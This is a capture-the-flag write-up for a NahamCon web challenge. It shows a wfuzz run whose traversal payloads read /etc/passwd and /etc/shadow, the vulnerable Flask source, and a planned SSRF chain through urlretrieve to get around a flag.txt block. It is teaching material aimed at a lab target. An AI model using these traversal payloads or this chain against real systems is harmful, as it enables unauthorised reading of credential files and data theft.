Given the use of filename to fetch files, I believe this page is vulnerable to Directory Traversal.
Basically, the difference is that with a file inclusion vulnerability, the resource is loaded and executed in the context of the current application. A directory traversal vulnerability on the other hand, only gives you the ability to read the resource.
Trying some simple payloads like ../ returns no result. Then I tried fuzzing using the LFI-Jhaddix wordlists from SecLists and got some interesting results.
teebow1e@WIN-SMKU92H04AE:~$ wfuzz -u http://challenge.nahamcon.com:30369/browse?artifact=FUZZ -w /opt/SecLists/Fuzzing/LFI/LFI-dotdot-Tee.txt --hh 28
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://challenge.nahamcon.com:30369/browse?artifact=FUZZ
Total requests: 409
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000094: 200 50 L 93 W 2093 Ch "/./././././././././././etc/passwd"
000000197: 500 4 L 40 W 290 Ch "/./././././././././././etc/shadow"
Total time: 0
Processed Requests: 409
Filtered Requests: 407
Requests/sec.: 0
Visiting the site with the given payload, we got the output of /etc/passwd:
We also got the app's source code. (I read /proc/self/cmdline to get the file path)
from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request
app = Flask(__name__)
@app.route('/')
def index():
artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
return render_template('index.html', artifacts=artifacts)
@app.route("/public/<file_name>")
def public_sendfile(file_name):
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return "Error retrieving file", 404
return send_file(file_path)
@app.route('/browse', methods=['GET'])
def browse():
file_name = request.args.get('artifact')
if not file_name:
return "Please specify the artifact to view.", 400
artifact_error = "<h1>Artifact not found.</h1>"
if ".." in file_name:
return artifact_error, 404
if file_name[0] == '/' and file_name[1].isalpha():
return artifact_error, 404
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return artifact_error, 404
if 'flag.txt' in file_path:
return "Sorry, sensitive artifacts are not made visible to the public!", 404
with open(file_path, 'rb') as f:
data = f.read()
image_types = ['jpg', 'png', 'gif', 'jpeg']
if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
is_image = True
else:
is_image = False
return render_template('view.html', data=data, filename=file_name, is_image=is_image)
@app.route('/submit')
def submit():
return render_template('submit.html')
@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
url = request.args.get('url')
if not url:
return "URL is required.", 400
response = submission_fetch(url)
return response
def submission_fetch(url, filename=None):
return urllib.request.urlretrieve(url, filename=filename)
@app.route('/private_submission')
def private_submission():
if request.remote_addr != '127.0.0.1':
return redirect(url_for('submit'))
url = request.args.get('url')
file_name = request.args.get('filename')
if not url or not file_name:
return "Please specify a URL and a file name.", 400
try:
submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
except Exception as e:
return str(e), 500
return "Submission received.", 200
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=5000)
Analyzing this source code, it is obvious that flag.txt is blacklisted to avoid direct read of that file. I also have 2 hidden routes private_submission and private_submission fetch which uses urllib.request.urlretrieve to download a webpage and store to a file.
The private_submission_fetch function is a little bit limited, since it only fetches a website but not storing it anywhere; while private_submission allows to save the webpage to a specific files, but that route is only accessible from localhost.
Therefore, the idea here is to access the private_submission_fetch route from the private_submission, fetch the flag file and save it to another file not named flag.txt.
Copy a network object denoted by a URL to a local file. If the URL points to a local file, the object will not be copied unless filename is supplied. Return a tuple (filename, headers) where filename is the local file name under which the object can be found, and headers is whatever the info() method of the object returned by returned (for a remote object).